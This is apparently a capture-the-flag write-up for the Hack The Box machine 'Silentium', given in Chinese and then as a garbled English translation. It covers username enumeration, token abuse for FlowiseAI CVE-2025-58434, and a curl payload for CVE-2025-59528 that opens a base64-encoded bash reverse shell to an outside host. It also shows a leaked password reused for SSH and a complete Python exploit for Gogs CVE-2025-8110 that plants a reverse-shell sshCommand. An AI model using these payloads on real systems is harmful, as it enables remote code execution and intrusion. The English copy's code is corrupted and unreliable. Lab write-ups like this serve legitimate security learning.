htb silentium
枚举
# Nmap 7.98 scan initiated Mon Apr 13 12:41:02 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 13 12:41:14 2026 -- 1 IP address (1 host up) scanned in 11.65 seconds
打开80端口没发现有价值的东西
vhost
进行模糊测试
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging
利用
进入staging.silentium.htb后是一个FlowiseAI的登陆界面,根据输入账号密码后的响应,可以进行用户名枚举。当速度过快时会出现状态码500,特殊字符400,用户不在404,所以进行模糊测试
ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,404,400
# ben [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]
发送后得到tempToken,搜索后得到CVE-2025-58434
这个tempToken是用户在重置密码时有效的token,立即使用

登陆后搜索得到CVE-2025-59528 进行利用
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
}
}'
USER
进行简单的基础枚举
env
# SMTP_PASSWORD=r04D!!_R4ge
尝试SSH
ssh ben@silentium.htb
# 输入r04D!!_R4ge
ROOT
基础枚举发现一个3001端口
ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
是一个Gogs网站转发端口看一下ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
ps aux
# root 1537 0.0 1.9 1665124 77864 ? Ssl 02:31 0:02 /opt/gogs/gogs/gogs web
是root在运行这这个网站,搜索一下相关漏洞CVE-2025-8110,修改一下脚本:
删掉了 register() 函数和所有注册逻辑
账号密码改成自己注册的 123:123
完整脚本
#!/usr/bin/env python3
import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
"""Exploit script for CVE-2025-8110 in Gogs."""
__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/"
def login(session, base_url, username, password):
"""Authenticate and retrieve CSRF token + session cookie."""
login_url = f"{base_url}/user/login"
resp = session.get(login_url)
csrf = extract_csrf(resp.text)
login_data = {
"_csrf": csrf,
"user_name": username,
"password": password,
}
resp = session.post(
login_url,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=login_data,
allow_redirects=True,
)
if "user/login" in resp.url:
console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
raise ValueError("Authentication failed")
console.print("[bold green][+] Authenticated successfully[/bold green]")
return session.cookies
def get_application_token(session, base_url):
"""Retrieve application token from settings."""
settings_url = f"{base_url}/user/settings/applications"
get_resp = session.get(settings_url, allow_redirects=True)
csrf = extract_csrf(get_resp.text)
data = {"_csrf": csrf, "name": os.urandom(8).hex()}
resp = session.post(settings_url, data=data, allow_redirects=True)
console.print(f"[blue]Token generation status: {resp.status_code}[/blue]")
soup = BeautifulSoup(resp.text, "html.parser")
token_div = soup.find("div", class_="ui info message")
if not token_div:
raise ValueError("Application token not found")
token = token_div.find("p").text.strip()
console.print(f"[bold green][+] Application token: {token}[/bold green]")
return token
def create_malicious_repo(session, base_url, token):
"""Create a repository with a malicious payload."""
api = f"{base_url}/api/v1/user/repos"
repository_name = os.urandom(6).hex()
data = {
"name": repository_name,
"description": "Malicious repo for CVE-2025-8110",
"auto_init": True,
"readme": "Default",
"ssh": True,
}
session.headers.update({"Authorization": f"token {token}"})
resp = session.post(api, json=data)
console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
if resp.status_code != 201:
console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
raise ValueError(f"Repo creation failed: {resp.text}")
console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
return repository_name
def upload_malicious_symlink(base_url, username, password, repo_name):
"""Clone a repo, add a symlink, commit, and push it."""
repo_dir = f"/tmp/{repo_name}"
parsed_url = urlparse(base_url)
if not parsed_url.scheme or not parsed_url.netloc:
raise ValueError("Base URL must include scheme (e.g., http://host)")
base_path = parsed_url.path.rstrip("/")
clone_cmd = [
"git",
"clone",
f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
f"{base_path}/{username}/{repo_name}.git",
repo_dir,
]
symlink_path = os.path.join(repo_dir, "malicious_link")
try:
if os.path.exists(repo_dir):
shutil.rmtree(repo_dir)
console.print("[blue][*] Cloning repository...[/blue]")
subprocess.run(clone_cmd, check=True)
os.symlink(".git/config", symlink_path)
console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")
subprocess.run(
["git", "add", "malicious_link"],
cwd=repo_dir,
check=True,
)
subprocess.run(
["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
"commit", "-m", "Add malicious symlink"],
cwd=repo_dir,
check=True,
)
console.print("[blue][*] Pushing symlink to remote...[/blue]")
subprocess.run(
["git", "push", "origin", "master"],
cwd=repo_dir,
check=True,
)
console.print("[bold green][+] Symlink pushed successfully[/bold green]")
except subprocess.CalledProcessError as e:
raise ValueError(f"Git command failed: {e}") from e
except OSError as e:
raise ValueError(f"Filesystem operation failed: {e}") from e
def exploit(session, base_url, token, username, repo_name, command):
"""Exploit CVE-2025-8110 to execute arbitrary commands."""
api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
data = {
"message": "Exploit CVE-2025-8110",
"content": base64.b64encode(command.encode()).decode(),
}
headers = {
"Authorization": f"token {token}",
"Content-Type": "application/json",
}
console.print("[bold yellow][*] Sending exploit payload via API...[/bold yellow]")
resp = session.put(api, json=data, headers=headers, timeout=5)
console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
console.print("[bold green][+] Exploit sent, check your listener![/bold green]")
def extract_csrf(html_text):
"""Parse CSRF token from hidden input."""
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name=_csrf]")
if token_input and token_input.get("value"):
return token_input.get("value")
raise ValueError("CSRF token not found in form response")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-lh", "--host", required=True, help="Attacker host")
parser.add_argument("-lp", "--port", required=True, help="Attacker port")
args = parser.parse_args()
username = "123"
password = "123"
session = requests.Session()
session.verify = False
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
login(session, args.url, username, password)
token = get_application_token(session, args.url)
repo_name = create_malicious_repo(session, args.url, token)
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
upload_malicious_symlink(args.url, username, password, repo_name)
exploit(session, args.url, token, username, repo_name, git_config)
except Exception as e:
console.print(f"[bold red][-] Error: {e}[/bold red]")
if __name__ == "__main__":
main() htb silentium
Enumeration
# Nmap 7.98 scan initiated on Monday, April 13, 2026, at 12:41:02 as follows:
# /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
The host is up (latency: 0.077 seconds).
998 closed TCP ports were not displayed (reset).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 (Ubuntu 3ubuntu13.15; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection has been completed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap completed on Monday, April 13, 2026 – 1 IP address (1 host up) scanned in 11.65 seconds.
No valuable information was found by opening port 80.
vhost
Fuzzy testing was performed:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging
Exploitation
Upon entering staging.silentium.htb, a login interface for FlowiseAI is displayed. Username enumeration can be attempted based on the response received after entering the username and password. If the speed is too fast, status codes 500 or 400 may be returned; if the user does not exist, a 404 status code is displayed. Therefore, fuzzy testing was conducted.
ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,400,404
ben [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]
After sending the request, a tempToken was obtained. Searching for this token revealed the CVE-2025-58434 vulnerability (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph). This tempToken is valid for password reset and should be used immediately.

After logging in, the CVE-2025-59528 vulnerability was found and can be exploited using the following command:
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
}
}
USER account
A simple basic enumeration was performed using the environment variable SMTP_PASSWORD (r04D!!_R4ge):
env
# SMTP_PASSWORD=r04D!!_R4ge
An attempt was made to log in using SSH:
ssh ben@silentium.htb
# Password: r04D!!_R4ge
ROOT account
Basic enumeration revealed a port open on port 3001:
ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
It appears to be a Gogs website. To test the port forwarding, use the following command:
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
Finally, the system processes were listed using ps aux:
ps aux
The script is being executed by the user with the root account (ID: 1537), with a CPU usage of 0.0%, memory usage of 1.9%, and a process ID of 1665124. It is running on the /opt/gogs/gogs directory.
Search for the related vulnerability CVE-2025-8110, and modify the script as follows:
The register() function and all registration-related logic have been removed.
The account and password have been changed to 123:123, which were used during the initial registration.
Complete script:
#!/usr/bin/env python3
import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console
urllib3.disableWarnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
"""Exploit script for CVE-2025-8110 in Gogs."""
__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/
def login(session, base_url, username, password):
"""Authenticate and retrieve the CSRF token and session cookie."""
login_url = f"{base_url}/user/login"
resp = session.get(login_url)
csrf = extract_csrf(resp.text)
login_data = {
"_csrf": csrf,
"user_name": username,
"password": password,
}
resp = session.post(
login_url,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=login_data,
allow_redirects=True,
)
if "user/login" in resp.url:
console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
raise ValueError("Authentication failed")
console.print("[bold green][+] Authenticated successfully[/bold green]")
return session.cookies
def get_application_token(session, base_url):
"""Retrieve the application token from the settings."""
settings_url = f"{base_url}/user/settings/applications"
get_resp = session.get(settings_url, allow_redirects=True)
csrf = extract_csrf(get_resp.text)
data = {“csrf”: csrf, “name”: os.urandom(8).hex()} resp = session.post(settings_url, data=data, allow_redirects=True) console.print(f”[blue]Token generation status: {resp.status_code}[/blue]”) soup = BeautifulSoup(resp.text, “html.parser”) token_div = soup.find(“div”, class=“ui info message”) if not token_div: raise ValueError(“Application token not found”) token = token_div.find(“p”).text.strip() console.print(f”[bold green][+] Application token: {token}[/bold green]”) return token
def create_malicious_repo(session, base_url, token):
"""Create a repository with a malicious payload."""
api = f"{base_url}/api/v1/user/repos"
repository_name = os.urandom(6).hex()
data = {
"name": repository_name,
"description": "Malicious repo for CVE-2025-8110",
"auto_init": True,
"readme": "Default",
"ssh": True,
}
session.headers.update({"Authorization": f"token {token}"})
resp = session.post(api, json=data)
console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
if resp.status_code != 201:
console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
raise ValueError(f"Repo creation failed: {resp.text}")
console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
return repository_name
def upload_malicious_symlink(base_url, username, password, repo_name):
"""Clone a repo, add a symlink, commit, and push it."""
repo_dir = f"/tmp/{repo_name}"
parsed_url = urlparse(base_url)
if not parsed_urlscheme or not parsed_url.netloc:
raise ValueError("Base URL must include a scheme (e.g., http://host)")
base_path = parsed_url.path.rstrip("/")
clone_cmd = [
"git",
"clone",
f"{parsed_urlscheme}://{username}:{password}@{parsed_url.netloc}",
f"{base_path}/{username}/{repo_name}.git",
repo_dir,
]
symlink_path = os.path.join(repo_dir, “malicious_link”)
try:
if os.path.exists(repo_dir):
shutil.rmtree(repo_dir)
console.print("[blue][*] Cloning the repository...[/blue]")
subprocess.run(clone_cmd, check=True)
os.symlink(".git/config", symlink_path)
console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")
subprocess.run(
["git", "add", "malicious_link"],
cwd=repo_dir,
check=True,
)
subprocess.run(
["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
"commit", "-m", "Add the malicious symlink"],
cwd=repo_dir,
check=True,
)
console.print("[blue][*] Pushing the symlink to the remote repository...[/blue]")
subprocess.run(
["git", "push", "origin", "master"],
cwd=repo_dir,
check=True,
)
console.print("[bold green][+] The symlink was successfully pushed[/bold green]")
except subprocess.CalledProcessError as e:
raise ValueError(f"Git command failed: {e}")
except OSError as e:
raise ValueError(f"Filesystem operation failed: {e}")
def exploit(session, base_url, token, username, repo_name, command):
"""Exploits the CVE-2025-8110 vulnerability to execute arbitrary commands."""
api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
data = {
"message": "Exploiting CVE-2025-8110",
"content": base64.b64encode(command.encode()).decode(),
}
headers = {
"Authorization": f"token {token}",
"Content-Type": "application/json",
}
console.print("[bold yellow][*] Sending the exploit payload via API...[/bold yellow]")
resp = session.put(api, json=data, headers=headers, timeout=5)
console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
console.print("[bold green][+] The exploit has been sent; check your listener![/bold green]")
def extract_csrf(html_text):
"""Extracts the CSRF token from hidden form fields."""
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name=_csrf]")
if token_input and token_input.get("value"):
return token_input.get("value")
raise ValueError("CSRF token not found in the form response")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-lh", "--host", required=True, help="Attacker host")
parser.add_argument("-lp", "--port", required=True, help="Attacker port")
args = parser.parse_args()
username = "123"
password = "123"
session = requests.Session()
session.verify = False
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
login(session, args.url, username, password)
token = get_application_token(session, args.url)
repo_name = create_malicious_repo(session, args.url, token)
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
upload_malicious_symlink(args.url, username, password, repo_name)
exploit(session, args.url, token, username, repo_name, git_config)
except Exception as e:
console.print(f"[bold red][-] Error: {e}[/bold red]")
if __name__ == "__main__":
main()